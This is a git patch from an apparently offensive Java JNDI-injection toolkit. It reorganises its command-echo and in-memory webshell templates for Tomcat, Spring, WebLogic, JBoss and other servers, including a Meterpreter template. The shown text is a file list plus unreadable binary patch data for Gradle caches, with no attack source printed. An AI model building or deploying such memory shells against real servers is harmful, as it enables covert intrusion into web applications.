From 72a91dd13f88c89cd278906a62f9de10f9e2412a Mon Sep 17 00:00:00 2001 From: qi4L Date: Wed, 29 May 2024 16:13:04 +0800 Subject: [PATCH] Add constructor --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .../8.7/executionHistory/executionHistory.bin | Bin 1043979 -> 1295889 bytes .../executionHistory/executionHistory.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.bin | Bin 158733 -> 164333 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .../8.7/fileHashes/resourceHashesCache.bin | Bin 74089 -> 90784 bytes .../buildOutputCleanup.lock | Bin 17 -> 17 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes build.gradle | 2 +- .../jndi/controllers/BasicController.java | 3 +- .../controllers/TomcatBypassController.java | 13 +- .../controllers/TomcatJdbcController.java | 3 +- .../com/qi4l/jndi/gadgets/utils/Cache.java | 10 +- .../jndi/gadgets/utils/ClassByteChange.java | 2 +- .../com/qi4l/jndi/gadgets/utils/Gadgets.java | 21 ++- .../com/qi4l/jndi/gadgets/utils/InjShell.java | 3 +- .../com/qi4l/jndi/gadgets/utils/Util.java | 2 +- .../jndi/template/echo/TomcatEchoJndi.java | 146 ------------------ .../template/echoConstructor/CAllEcho.java | 88 +++++++++++ .../template/echoConstructor/CJbossEcho.java | 68 ++++++++ .../template/echoConstructor/CJettyEcho.java | 77 +++++++++ .../template/echoConstructor/CLinuxEcho1.java | 47 ++++++ .../template/echoConstructor/CLinuxEcho2.java | 66 ++++++++ .../template/echoConstructor/CResinEcho.java | 48 ++++++ .../template/echoConstructor/CSpringEcho.java | 28 ++++ .../template/echoConstructor/CTomcatEcho.java | 81 ++++++++++ .../echoConstructor/CWindowsEcho.java | 59 +++++++ .../echoConstructor/CweblogicEcho.java | 39 +++++ .../{echo => echoStatic}/AllEcho.java | 2 +- .../{echo => echoStatic}/JbossEcho.java | 2 +- .../{echo => echoStatic}/JettyEcho.java | 4 +- .../{echo => echoStatic}/LinuxEcho1.java | 2 +- .../{echo => echoStatic}/LinuxEcho2.java | 2 +- .../{echo => echoStatic}/Meterpreter.java | 2 +- .../{echo => echoStatic}/ResinEcho.java | 4 +- .../{echo => echoStatic}/SpringEcho.java | 21 +-- .../{echo => echoStatic}/TomcatEcho.java | 2 +- .../{echo => echoStatic}/WindowsEcho.java | 2 +- .../{echo => echoStatic}/weblogicEcho.java | 2 +- .../memshell/shell/MemShellPayloads.java | 129 ---------------- .../BypassNginxCDN/cmsMSBYNC.java | 2 +- .../BypassNginxCDN/proxyMSBYNC.java | 2 +- .../RMIBindTemplate.java | 2 +- .../Tomcat_Spring_Jetty/MsTSJproxy.java | 2 +- .../Tomcat_Spring_Jetty/MsTSJser.java | 2 +- .../Websphere/WSFMSFromThread.java | 2 +- .../Websphere/WSWebsphereProxy.java | 2 +- .../Websphere/WebsphereMemshellTemplate.java | 2 +- .../Websphere/websphereEcho.java | 2 +- .../jboss/JBFMSFromContextF.java | 2 +- .../jboss/JBSMSFromContextS.java | 2 +- .../jetty/JFMSFromJMXF.java | 2 +- .../jetty/JSMSFromJMXS.java | 2 +- .../resin/RFMSFromThreadF.java | 2 +- .../resin/RSMSFromThreadS.java | 2 +- .../resin/WsResin.java | 2 +- .../spring/SpringControllerMS.java | 2 +- .../spring/SpringInterceptorMS.java | 2 +- .../spring/SpringWebfluxMS.java | 2 +- .../struts2/Struts2ActionMS.java | 2 +- .../tomcat/TEXMSFromThread.java | 2 +- .../tomcat/TFMSFromRequestF.java | 2 +- .../tomcat/TFMSFromRequestS.java | 2 +- .../tomcat/TFMSFromThreadF.java | 2 +- .../tomcat/TFMSFromThreadLi.java | 2 +- .../tomcat/TFMSFromThreadS.java | 2 +- .../tomcat/TLMSFromJMXLi.java | 2 +- .../tomcat/TSMSFromJMXF.java | 2 +- .../tomcat/TSMSFromJMXS.java | 2 +- .../tomcat/TUGMSFromJMXuP.java | 2 +- .../tomcat/TWSMSFromThread.java | 2 +- .../weblogic/WsWeblogic.java | 2 +- 72 files changed, 681 insertions(+), 363 deletions(-) delete mode 100644 src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java create mode 100644 src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/AllEcho.java (98%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/JbossEcho.java (98%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/JettyEcho.java (97%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/LinuxEcho1.java (97%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/LinuxEcho2.java (98%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/Meterpreter.java (99%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/ResinEcho.java (96%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/SpringEcho.java (61%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/TomcatEcho.java (98%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/WindowsEcho.java (98%) rename src/main/java/com/qi4l/jndi/template/{echo => echoStatic}/weblogicEcho.java (98%) delete mode 100644 src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/BypassNginxCDN/cmsMSBYNC.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/BypassNginxCDN/proxyMSBYNC.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/RMIBindTemplate.java (96%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Tomcat_Spring_Jetty/MsTSJproxy.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Tomcat_Spring_Jetty/MsTSJser.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Websphere/WSFMSFromThread.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Websphere/WSWebsphereProxy.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Websphere/WebsphereMemshellTemplate.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/Websphere/websphereEcho.java (96%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/jboss/JBFMSFromContextF.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/jboss/JBSMSFromContextS.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/jetty/JFMSFromJMXF.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/jetty/JSMSFromJMXS.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/resin/RFMSFromThreadF.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/resin/RSMSFromThreadS.java (97%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/resin/WsResin.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/spring/SpringControllerMS.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/spring/SpringInterceptorMS.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/spring/SpringWebfluxMS.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/struts2/Struts2ActionMS.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TEXMSFromThread.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TFMSFromRequestF.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TFMSFromRequestS.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TFMSFromThreadF.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TFMSFromThreadLi.java (97%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TFMSFromThreadS.java (97%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TLMSFromJMXLi.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TSMSFromJMXF.java (99%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TSMSFromJMXS.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TUGMSFromJMXuP.java (98%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/tomcat/TWSMSFromThread.java (97%) rename src/main/java/com/qi4l/jndi/template/{memshell => memshellStatic}/weblogic/WsWeblogic.java (98%) diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 35139ab05e300e4b7ebeb7033b13ed2ade918528..c170383fc23f24e774c73ec049d0bee8d0ca09b7 100644 GIT binary patch literal 17 VcmZRU*k4$1@M75u1~6bc1^_r{1#|!a literal 17 VcmZRU*k4$1@M75u1~6dS2LL!=1#AES diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 4b2189a3a1457cd961c588f25910d8fa03fffd23..3afde8ecbd84f23fdf0beee77b45bb064a7c629a 100644 GIT binary patch delta 22738 zcmeHvc{r5c8@Gq&8BZgOb?j@D#Ms(5k`~!Zn1MLRd%?X}k8*UrNY9VK&3{MIy^j#66`CR|Z))z9}iYg778AqkT`tw+9rTaz9 zMMnCB49MEAFuNkueWM3Ud6MlpOSx||?`)k@>KtPe4w6R^<`shq8f94TY*Q`-&a)=( zxlQ*_55wI-=4d%RU^SMAs@!ZSeO!fwd6cFaA8@A=Ao;zl9>@%pn{)8k znVx`S&2Z*6pU3+-Mn=TWkBJMM9~m>l(IG6%DKI3`GBC_PHdcmJ9N@RO+@v;WT8N^1 zkMbMUz<;u$CfDEst}3R*5o&>2Pv%%qGg?~SQmlH0qjNxHY^=E1e>VqwJL}^5`qGeh zvx{!#RDzZXI5Mj)rpM{hlV~_-{``gFhMhRhb1UCBx&BkrBS9n1Tt|{&p&oEZlk?zt zfg{%N3`dvHh`0ovU2CBuRJlxV|Hu0uF3)c|TIMq@0{GW4QIFYTiX1V;KUuaBTAqIC z%k++mW_EI3YRMPIedzp?WgAJ(@Cu3zjSzQ+-mB@S`-HI;>~2!ItFSX@gal`Z^dxk7 zVpL3MM6kHwWAZjo}m8Bg&>u&s;ucM?!KE9HqW6=*_zS3yYG{uBD zj`2YOVUfY1fxM1@T7PL|&q_>WhU1jbh}n_xlr`*Q;_B6ZXFSJxqt*1WpZ%b5Kp^89 zVwxOrO|D@ge|MNpobNwBG;juOvt=t3IMnuBGX9hMJiG1jnj1jWaQ?1f^5r>Do@;$| z5^ufs5t!(E)mPd{_>%3xr) zNC9<2NnoIBhjq7*oTQ+_diM^$IwJO-!@T$Gdw4%@f5{eXK+AdsG-tvt7%WjxWkt!F z=dB5UqN83mbG6kNuT!943IlaPI0o0C`9U#JF+uaWo+rkmQ%mSn(T)(hBdj%k!Drdk zu2~(&4;p>OX3*UsQs_Py>p=_^7O}vmec{i86~-F7=BEOqh;D-s+bSZ5n(o6FHcn#u{}(YC?(fQ{#g^@ttEX*i8j3 zL-ENVy#o4*=qu>SZ*~DA)qDTrrdsbMw%q2_p$VlTFAEJlT0kUJJ{d3V zhk=0;nGRh02TH;!g++v+au(y#v_XKC^Bmip^yFIV%I%| zCFQ9KeU(QH|GMPk{vzCDx52v?#xFv!Yhp^==o@{oFXB2`<8d8u-JT(W5}D z*QxiJs=9THbFuSciol_kX~^|FLg{34s+<9QKy?)%Q>bV%Wlv+{oDru3+%>k zIeKPs`zDH7yQj1cIPWj*C3I2y3PPPlwqDrp@pSH8`5|>hW^Qv{@(xTxp+wd?IaM%u z48u!Su-1UXdO0;^8P=ikrw&cMq&}hi@WIK-xp!7_>u-yc?AObwV;$l%?Ws&^gUo4) zvdaHTW1rXL$a5#F>?*iCeP=UvPJE^#c^by{;GVf$iwJy6;vC-R~aS5B9Z~^H1;Ko9KM7c5aD9yC3CG=S)ZcQGoD)s$<>9bj@I02I> z&5TGVx;0bZXuz5{pl0=v)Gw?vI@%f5`L%s0%g|b#)C5sEas<7D^^I&`;HTJwl^5x- zZLD_ti(qfu%e&L?CS4tg$x`~tSr7Z_JLito!8tkp7v3qCcwb!+PU&m8H?9E+K(}TA zR8!W>I&GWu3=p5WPz@gWTq3ZLoVs z*PKV^E9kHsPR_QwT$nVA%vl*PI6`YSC3xKxQCx=(M-yoA%G{$+BA7 z+ilxne$slZF;83FUOE0+G`a0vt^cuKiIi>U;m6x{VoS3; zA1=+$XDk-(elMNk(lprGepsXn#UI!fIbH0#_zs$NpV?b^y2a_3Z8goGJPurWx>J3M z5q4R8^VCjZr~-p*LJ8{>*R*P2nkd)pxgQtfeRprg3bn8MHhO- zdg3dE+wxows|D6Z412M!9fk>O?(uL%gf)fzo}cXG?h= zVWjMR-*7^d(sDc71^ur&xE6#{kCocl(gu{TD{lMCzRKs7Q97IO zv-v=;W}~#h7iAu6-eVu&`cKlY^gAs*W*V`7YsTj9mHV`10H)Z%!`2_Gq;U-L*Va_d z9;}kHN4ig()9NWw*y<_&MQFe8I%}Vfm*nNP-KlXanVrHP*lQm536TQ=|JS#K2S0h@> zeYA;D*}F+r8dKETc(LSaTHJ(O{SSM_Ij;omYJ?_WX-cbC20xNbkYTO9&Rm=|`1IVF z6HXQ-`Knw7Eip_DZsu+Vuy<7;E7hLJ=E<M)o1&w{OS!=YbLyX3!*J>M6P>O zK6@_vT9KtR+x-I`wj;>HecBW^&wc}egCk_$kX#d$OYQJ9x$L8)J@1BXE=C5r*!5ih z1^zOuwNH-Ro6`1pMYxm=ev@_LxquoA z=(_j|?5>kG3t^5Qo3bd#t6zbvg|vvJN@Ui5Fl-|*{B5Ax+5*)N+fJ8Hl&Mp7gYFds z86+6C0TMhRy4?#5-@5VDi2WwQ-&NnH+%)IMb_t#ksY&oe*PUNrx4L1{VjFgy-u9uN zrrJMRK2$=7yYwU&?z;U83@`q?COAy$FgM(HkpHfJY5@s zX6e0WE$eh@)!XtqcihSQ8?kbbOvmpqE!lDF;i&YRt5Vb;?N$YT3b3yo{>m@&7J((8oLNli6qgX&Z-7EI>le21YZwMjYvetFips9c~wqwzppPcNtrABH502 zz8b0uR$2@%n#`FJi?$YscEw$V-eS4qY}S*`WmSr;33ASQS7t4?dr`y-tqL6l9F#~k zP}`1ChYPv6k<$INjo-nb+ULjpddzB+?@5jJKvu5(`{e}LxsmeDxog#(G)hLR%;u<) za{`Z2mlGuBIv~KOYmAVXYk(#d=$k5#q4$9^ZQ^N_UGF~j?Yv51O^}^y(3cXV=fahA zd(P2MMH#|IxL^o^w&smHokK00dqqVhw{a~uk%Hgv>O znu9F8TXUdAjnrp-ncK%GduXuo*m;AdYlf_7rnCfkx-OVxgNtudE{~({S0_oVi(+)KFN~@vlbu{@Mf1mIFp@73YbNtgD0ODL4)$ z&+M8Q$k^31_$OL?@Y|$#5dXBjr^=o~@xDVSfieIIxF%gw1-zMxlgdfym`d?9^{EFv z?59|4t{l-#QH3!PeJ^z1>X5t(xB8VIgTOUyC$E=rGYj;OkDf`{sF1?5DT^3Vcn#n_ z9cQpEkKdq^$5`v9^Tj^XX`ovh#bc1iYw(YV@<2K2wu6M;K;Sl+%j*`h4!U4>IdyFr zi>JQ>HH}PB#6rmGd-8Xne?8RkblrO};1mHxiT~K+qG))@a;2s32IxZCm9R`{Qe~4k$X^TND`_tESLROH`d~sKV?^s zI~2Ck(VTjo@%ViulpHF}+Tj>bcC+ME@Bvr$C)L=w20$qQ&txB~`EGA)z1`Q#alZX& zyGh@FrSXXU15ntDv?jn>_y=eUz|Dze2yoClM?(A^S7W z@t}2@G*$-cpWqyzXi6%R{K7SAzB^IHhhEd2}BFuTo68hc#2?sZ_-qIWje2y*Sut;Sl-S#ag5p;BE;DC_R-6` zUjef@IEPrxw=f3|IUm8aIk*+^0>SDz_#|R2f|waOlvszL0}rMnm~2K4Bi10;5RBUs zTX?Mjy%2mPa~o=Sw;Wai94ZKNu(&U&%q&2KuSjekuh1BhGI<85fi*-S(rgRC?TD=i zvdl>%VmE?rp>U)X2quQ&y@|sJW|@=ym^D0Ty~6>^2JJtXs^Eb+Y~?H}Ox1yf&4XZ} zTt8TN5fv_1#j?O-S1 z{pAZ!fHA4*s*aBzXQt#{UNW>2Gf-6*(w+7Pt2A#I3u z1lLDFv;QJk8-?2t9}#Tf34BJ76OCIkzwn^-W<_Y$P@Z6eCDCvm(lU7dSYk_B66pw* z+meHbECkzZ;R?-0(9(`{A^?IJG59!Q6M~H~_;6wif_ky|P+}{BGh^Wr-i}~;e{uv- zgy8l5q!qc72dzJ=0M9|BDrlO@B*BpRuot_Li06FVnkYsvY5+V@4j_1PK5j*pBE@_q zP%|G_1tT92vVau_70ZzbYaq0J5Q#Ku@I@kwbQKb@S^%Z15p)|wT9c=dbUTaJZ#Cd<3T+?fNuNa`^$TFXFCh4yCw&n~ zUqqu+12@bRWWkJhT$#Lr%C`v0M+U->`{KcHYOf>Jz45p?vy68LSOZ5a2eizFUrCLy zo>`Cd*2!Y|AbN_THt3rGo329>>yQA~-dO}A3$f9}O=PMn0XHS?B6wp6X-eEjP+>dP zi)ch}=t8*CpCjlo6t4eQ2xjmES`n;T2-p8x1m7-%P5g_X{vx>XJ|O762#&b}!Q>*0 zBY?*i;k}5jsI;jFGbg?ysIUVwC01wh7TWN|P+$#$?!#fviV)0N47;-v!IO)j-CYR2 z+W{@?Mo@nzW=8Bq&@&Nku@VIRN5CC_2*JWcyf0CO;0+!;gW#`3+=Mufpji@x7ZG&d zg;^1q$Y;?b$-YDuf(0Yt@p2CJw>=43xQb*AmcY$_9YKyg+{QN$3||6I(ti-#yaW!Y z3Bj7((0wfkzU7rZLGYJ7X-vFAaKuu47}18{(xvzyPCE};r>kS>j{bomLHys^rC1GK z&#&#AGUBUFNs#-v=+a-GkXW(?xb6UtliRilWC)U9B8m zmGx~fa~T|KE|QBL1rNH-2o{clTWTAEZOibn#C8OSB*UTXM9|Zb?5)A-G}V0l&*j#6 zn`)Ik8a_Af=T%vsodhx+Nn4@=b^cK@JYIhxs920y5G#?oLouAAwFpKQV}pp-==-c} zIj*MBck(&;uc~J91$F>HlPt@ovahs)tYEk!!*qse~6do&e;SKyKZO1uv<57mC+ouU3p40zb_ z>bIf#5?D_ZAlR@Hj=mhV|9%Xdr-KM`QgB;>iv&Ez!d0;m!NL@HCS)U6J(e`#!<r3200td>m zkwgQ6kDTEb;3EVLC%~h<1wsD_WG{A)I!9vNn1JHbheMqczOR(J&a1Ni1xgQM2HF|u zk5or^`59pT&B?87Y~PSa^?t)!2bF=gHE?`SkRetD)=T?2l3i~MW#822#XeGF``DNAO`fT*Z8- zv<`lG)u2+(b+{w5jt8x?)Zr;yy+BS4lpew0%?A~xn!uZnJq8(DO}rcd-mZg3@fBW8 zP9;38t|1#%m6*-an@Iebom6HJeB>qe`w5mIe7q>!@E5e7R`-+%*z-JebjZR)sp8v6 zHBS@E>UxhTl(l#kw0iHI<~cq+e%iTKSr31RWb2WvFpSHST^buJ#Tr>MAlS5_Pr^Er z@25i&-_^Dt;r$xe2C-*@Ld#W=i*Bzy+cdZ#PHyJ%Jr{R9L&7K2#f1e=2&Gtuhep@t ztUep=RO#NUJ=DAKB@#ZS1G~(Rj4p+P7Fxb(_n`I8s#9-n-RKH^ z3WY~MyJ_T)E#AH5OOJ`HpM%OjBjGiQP`E3!DHNV~iR~7uR7=vl2dQ|aH zV$~@1!&_eGrw;A&R)0OJyrh9;iN)y!hJq*A*QoCbw&*Zz8bwz6+GQcxo9be+qS+kC zDG4#~X}lMy(%En5wv7n@$==byHi(7HEdzm7v?8u4#ZrGC?mT{W#~>mkedU>koxN_M zJ%0eq@+4K&z6O+B80)%q5WDT_+FZw1CV4ztpdbThFMV+{axd#h@k6;H^PG7bza(r% z&FoafvbxXgn42%BZt_x!`&9yb=l35czYWQr(#N>s0cqh(op)}(kw0DUvU}(#Mn2bl zb|GIHu3fPJHPH7WNsA@UX@1X3XY9NGeRuyM>*v<*M567yN$vM@Plf}V>E%1Bc$0ITDe276%nio&Z6YpVvY%gW7Ya7;LXD!&3hSgBER z$m&PNBhQ4Hw>QgPapC4yp~{?|Amccu!=CUkUaxpsS{h606l31b&XXrm?LAOBkyJO= zU17Mqx_6#K$meU9kC#6V;a7g~h68-|*okYm-=T1pen(YU*wU5Y{Y27;oq2cDhgC%6 zl{Y%YymQh9QIkmBY5M|vT(lM&`)&SQWKg;&HSHEsxMqoQohQ0Z91{~6?(8~sqHyAl z&N1A+{Ds1<^Q}ux#$7H;xsRmRTS4=m8hvYCw7s6BUp%6B+zB@gV8O)=*ls5RQnoC3 znHBzeRrMH$1v?%HI%`#hX-&S{WWijqXRGmpr603;yL@qOLX~;i*m^-!S=j8cTFcKP zT>JGsf7(TDRFUV!W+eEHH>wfyY-bg_)}<_4b|80w{)ol!JAn5tOiPNTJ%32`_SdGZ z3cDSWpWKl0Ye7n%djR{%@Edfx`U59}wgfk9n$DFahscC7y)6}oV=-Oq+49jLNnDD2G6zDj||hMcH+ zq+#e%r<~^rhGpYM=E>6Oha2;fVh*ZLj+&j45cVA@+%SU*Ciu6(0UZ~bir$qD{}-D( z3arV-4cP=?~O zmDhmcR8pJ$xF)T$x)D?PAanO({f-~gH=@ctz+oz>rL}6nUX^i{21l&J=Us?9n>Z~S zRW@j28$tAKrV2b`PR{%`dh=tm#%aI8HpO}7_XS9z5EM=&+3eN24D0))r*Cr06qamn zJ#%yusyqg+^D0lo1!u)^)fS98@+IJ(ncgn>sPYnE)nJmjG=hM&& zqqYbt?Q1YCi`U;jDfZWWbh9jNgwMcD`#IZCWurFq>xZ0!mlD+-clGM+I5X$h)f6e% z(Jk=(;B|njcsJdzc>88~n#$p`8>KXyPs9`)FYh zgH`%H+dFWfYV$56`Dih0;bdyzRB5HET|FPjzJD3|)C0VqM(UZbI%~aYi)YV6zHXa4 z^pCZTDMkuM20(@TMK8RIcQ6`%*xvil`&Z~)uq+oh(rSReX9nzg60O^AlD+8Fhh+zl z!a5bK02msOS|Dl$gMjX3>*em0TO5)Q!&wn1SUI!So&oK(n6B2qwCnjc{!7OVsn{QqB8TILQRPn!EDzX+D{AOSvCe;Xa1LMh zp7~7bgXbBIS+$i&VslSyD^QA1)P=2gr29MHx8R(f%t`;U!oawZFVP5=`j9%q-OQ^@ zAD;+5mv0-lydT5hDAIn;+YN(l-kli!U`>S0QfqypC$ke49b-Fwzi=zpWej;-chl-R zFQC5(UM!FCbijm7@LpJpVDcv1WD@@Z_X>k*r31>6c4~fY`>FZmM|H+5KUlO@?$zi= zRT`(k;S*XH)StV;BK(O>ZteJ^!>(K4PATsL2a z0^~R2%G!0PqxVdq6#ZcosL_^*1ErhsW5g-m4F!bf~yL%_~{8h^6;Zjng38R zlI3nIC3Eiw{Cwhl{_AbknX-unJIhL{bIsHyX+2cGyJ9=WqL)dXg;Ca?{Zj4y$Vz*^ z9`)7O$x5X{A|GSXgTX-QDwbdA_EKIK2k|D%^DKJU7GS-ZMwL;fOec&*kJN(bx6BF_ zJxE)5{jkE*$=wJsw|0|RW!Ntw6=TsUFsL<=)&uVz$r6=*$;@h;Md!1XFr6tGXVDoc zN@c2qsZ0$TEIJoL&%G+)L#rf30EY5YnB>GR^uXXcd?pAplqiMep~Rn)o#;3J|3}GA zbdn%?eIw~XmZU5yaYn&Q&Y}|vNrr`b60&gUw^bPyoqUKM-bi>kW&J11qGTsJQ~8tS z|2^4>PHQAMqwA%}?=!#X6i9|er$7?A+@&bN8T4DV42#Z}Bv|fJ{Lf@3I-B}`n(Ra; zU!rGTlAmHZoM2Ltaxe=9+LwZ#%DK@=4(K(bDgTa6PllqiwEwGQC^~-=KF^`N*ZN~J z6rJb^t#p5}CCc3qz6U_bP;~MqdW7?vXIkAXpk%0Slu%+im4sv{I!P2gEE0}EL@ocE z3`OUZba!-Zv2KGw$xw9S+07kdTS;U=_%N(%Gw^S5GAueb?Pjh^MM5$Zov(`C;Rvssas1%@hNGSoc`13Gth(CFyoH6y~ztTvCi87re zQUlD>MTZorzOkzDZ2_qEmE=7E1c+-Y?!4bXUK63Z`~0uNWx3#VJW! zC`F7;>nYDCB&Uec`8`DqrHFOwTMX|RSogl6V$eR0AzE!HnT#F}puAC$oJ>ZK6j0QD zpG-!N8SuW4MDNceCX>;F2J~bya57%7W)uW#CKe?>V*s;;$)j-52+BG9atXO-^ymZi zVaI>vp3y@S)Mfqq+%tN_Li{xh;N_kHSqA^WQ4|geru)y2wZVW#B}@$v9~HlXmSw|B zR%6k_9F%p9vekn7Gx+;W=)3tSy}QeIf_=#0mjmnUuCoedx6uP5lz~XfZlecGDE<0# zb{jpULRXiR-A0eLQ2Gj=zWph?jUJGpw99)sCn39y9;>0ZDlFjUMo!==~wPjUEr8oCCklZlgzuDE{DOw^8y?qqfMY18G2r@{4(|)qa!zMvo!= z@A+@^m=g6{ud zlwl`+V}TFqbbx&mvxhQ07DjbFd`^etWGPn{r0utv=%GxHll?{;%E?mhFi^X%GCh1o zxxz@y?(3mMi>y&kdi3}YCijh&26@{E+utYm0hrvU53~!2PuQuyVW9KWh|k|J5KfCP z{S5;N|IHCc@UuAlkyt{ori+3KY3AQB5R5qf4Fie&-cOHvbS3VIq87pc!rw3u3iS!y z@iz?gHw+|P3xC5vqVUw;Fc9^@2!;Or4Fict>)$XCW-hcPk=jG$ax{q@>k|YG7BmQoqKJjM2pGVM zfD}b9N)a^HXMaXxMUDDm6oFV!u)Nv1dUBHd@jK_kcV}kn?9L@NX3U1$-dkD`O>FD# zq<`VK(`{p?wu=9vov)_3&EW%++C6m|G~q-OGNCke(eyci^MjWL&7L)5`t<2DW`_pO zS+ZoV|J*rqwN*O<-`Sl{^8eUS{5)CtxzO$(ioVM|<6h>LzR!{Ey=#Q15E_VutlR^;@!fb`tP_qDi+AyQ| zW#;bVPgqqxeq{d5fl;eo)*ZCUix2kite&6GOD%mU?!>KL3FU5;)ygPj$ zslkogu!q>38&12^XHp#F&U?`3l9szea}72-MorS zC;~jVGi{WV>A`K3cd}VM(3T{|PutK+%wGj#doNoXJa~5&@lK8{Zxywss{n;Hc)ioVSf~Yh#YANg@ zsRi3DMd2Gs?bu$#ph#*%bEK2GH@Bs^lH9$yN`G$v3i9Um^r@tDZ|hvj zX-&1KuRc9_^b!4sBoFB5Qlke%RDRI(6;tnNnhV`cO&k5`G!wl>+rxN&ZA#Ved->gW zkx}O&Ug$Sxm~@^kj6JE3$OvXk)DAH-Ycp@!;%OSKW-twI_5FoO+6UYBhxf?O5<#By z3$ex3n2B@~uFw&I{&PjJ1N9IUgN#~;p#H|DhdBS;QhV$5qm--pGo9Sm&5kR)@EexHPnt9ZP z#Xgg6nKs--(Ldg``i&ZGL<+>^U#V03CfYf@UODA2?o@xM=ix8TCq%z8SY)&jh5x2q z+AW-ZW_avW?*IJ+pL5U3ZzY$a{~k9n&6Yc}ofx>&eA-8xwT1ERz`v_(xypA-RCC=$ z#(db>Y;3qNpN?dO2A=@x%8C##cjva2SJC{!cuf=SUUxU^{Ve@Wx}R0)`p4Z?iIf29 z#Gc`FE(E|N8xR`vA2Ej}l z5vzk}clHi3)}A{k5!G@vcKVV;QTJYHC2rY6FOeulbpY{RKMa1lf!j$H^xAQmxPVjN<@LRhnS#P1w=PnL)n?Z~^Zt%&)K z+=Znh1}_4)48+VubUfRR7^LIYYzLy%_YiCk;&~keGhm~Rd$Md)J)Pi=K?-n!fgLq? zg}@qAB90D$tMDXZSO~RZrw}_hb4PXt(a#xH@hsx|5V$MPAv!IlUDDHju6VHTUvG02sx zY%`*61$E|#YMQxFSAcQNG86Gu8pooAwl8<)aoEf4c4#5Ok64(9rz@ZvgPzpdpw~V# zHxXTafF(#o*L>-kgsurK4JO(KVj`lYNiv#b{s5_*g6P)|?hZt?PAkXVT8y!6W+Lpv zprcfbl5Szpx70#MH~R6G6g_Lflcgi(g;CWc1C6)IHEAQfXDB9OdH>J0?N?HJWxY&K zRSYCa;=aGqTHJ=_rs%ZMgrvpaUu`K;p(;=w;P(EtRA9g2_J8Nb2eBR4r>qs&F2qZ2 z+?MS|Y;=Pp%0iUY0?R=h>kdhhi@3ra3=D|%LO!ZkFBBqTyZA64;}yuwG%OO0Gz-*h*Q?l zp)3nAXC1r>dlAPC%Ayd*u7}%oBcfRjab$6bzB!~P6Nn3PNIzDJkBL<@ zBt+gIuH~=sRPNm<{G#FD<)LBSAnw54;F4xX(?RSE&N3{QII-i1>4UkGQZ7-wVFIPu 